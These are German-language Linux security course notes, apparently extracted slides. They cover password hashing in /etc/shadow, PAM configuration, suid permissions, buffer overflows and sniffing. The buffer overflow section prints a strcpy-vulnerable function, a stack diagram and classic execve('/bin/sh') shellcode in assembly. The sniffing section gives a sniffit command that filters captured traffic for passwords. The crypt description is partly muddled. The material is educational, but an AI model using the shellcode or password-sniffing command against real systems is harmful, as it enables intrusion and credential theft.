Grundlagen

Sicherheitskonzepte

Dienste deaktivieren

TCP Wrapper

Informationen verbergen

Updates installieren

Passwörter

• Userinformation werden in /etc/passwd und Passwörter in der Datei /etc/shadow gespeichert.
• Das Passwort ist 13 Zeichen lang, wobei die ersten beiden Zeichen das sogenannte Salt bilden und die folgenden 11 Zeichen das eigentliche verschlüsselte Passwort. Das Passwort wird Wie folgt erzeugt:
  
  • Aktueller Zeitpunkt dient als Seed
  • Das Passwort wird auf 8 Zeichen abgeschnitten
  • Die jeweils ersten 7 Bit aller Zeichen ergeben zusammen einen 56 Bit Key
  • Mit diesem Key wird ein 64 Bit Block aus Nullen (00000000) mit dem Seed als Startwert verschlüsselt
  • Mit diesem Ergebnis als neuen Schlüssel wird der Vorgang 25 mal wiederholt.
  • Dieses Ergebnis wird auf 11 Zeichen gekürzt und zusammen mit dem Salt in der Datei /etc/shadow gespeichert
• Das Passwort kann durch diesen DES-Hash zwar leicht erzeugt, aber nur extrem schwer rekonstruiert werden
• Im Falle einer Authentifizierung wird das aktuelle Passwort mit diesem Hash verschlüsselt und anschließend mit dem verschlüsselten Passwort verglichen. Fällt der Vergleich positiv aus, so ist der Benutzer authentifiziert.

• Ein Benutzer möchte sich bei einem Dienst authentifizieren
• Der Dienst leitet die Anfrage an PAM weiter
• PAM authentifiziert den Benutzer, oder auch nicht
• PAM liefert die Freigabe / Ablehnung an den Dienst zurück

module-type        control-flag   module-path   arguments
module-type        control-flag   module-path   arguments
othermodule-type   control-flag   module-path   arguments
othermodule-type   control-flag   module-path   arguments

• auth: Benutzerauthentifizierung. Stellt sicher, dass der Benutzer derjenige ist, der er vorgibt zu sein
• account:Feinere Account-Einstellungen. Z.B. root-Login nur an realer Konsole oder zu bestimmten Zeiten
• session: Erledigt Dinge vor Einloggen und nach Ausloggen.
• password: Ändert Passwörter

• required: Dieses Modul muss zwingend erfolgreich durchlaufen werden. Folgende Module desselben Typs müssen verarbeitet werden.
• requisite: Im Fehlerfalle wird nach Abarbeiten dieses Moduls in den aufrufenden Dienst zurückgekehrt, andernfalls werden weitere Module desselben Typs ausgeführt.
• sufficient: Bei Erfolg und keinen verherigen Fehlerfalle, wird in den Dienst zurückgekehrt. Sonst wird das nächste Modul ausgeführt, Fehler ist aber bedeutungslos.
• optional: Modul fällt nur ins Gewicht, wenn ansonsten kein anderes Modul positiv durchlaufen wird.

• debug: Zusätzliche Informationen in Syslog schreiben
• use_first_pass: Benutze Password von vorherigem Modul
• md5: sichereren MD5-Hash zum Verschlüsseln von Passwörtern verwenden
• ...

password  required pam_cracklib.so  minlen=8
password  required pam_pwdb.so      use_authtok md5

auth     required       /lib/security/pam_warn.so
auth     required       /lib/security/pam_deny.so
account  required       /lib/security/pam_warn.so
account  required       /lib/security/pam_deny.so
password required       /lib/security/pam_warn.so
password required       /lib/security/pam_deny.so
session  required       /lib/security/pam_warn.so
session  required       /lib/security/pam_deny.so

Arbeiten als Root

suid root und sudo

-rwxr-x--- root root Dateiname
SUUUGGGOOO        

-rwsr-xr-x root root Programm1
-rwxr-S--- root root Programm2

Verschlüsselung

Buffer Overflow

   void parse(char *arg) {
     char param[1024];
     int  localdata;

     strcpy(param,arg);
     .../...
     return;
   }

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567     memory
           buffer                sfp   ret   *arg    

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
top of                                                bottom of
stack                                                 stack

        jmp    0x26                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2b                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes

Sniffen / Sniffer entlarven

./sniffit -s 195.37.84.217 -nax | grep -i "p a s s"

arp -s hostname 00:ba:d0:c0:ef:ee
ping hostname

Hijacken von Verbindungen

Kernel absichern

Shell Accounts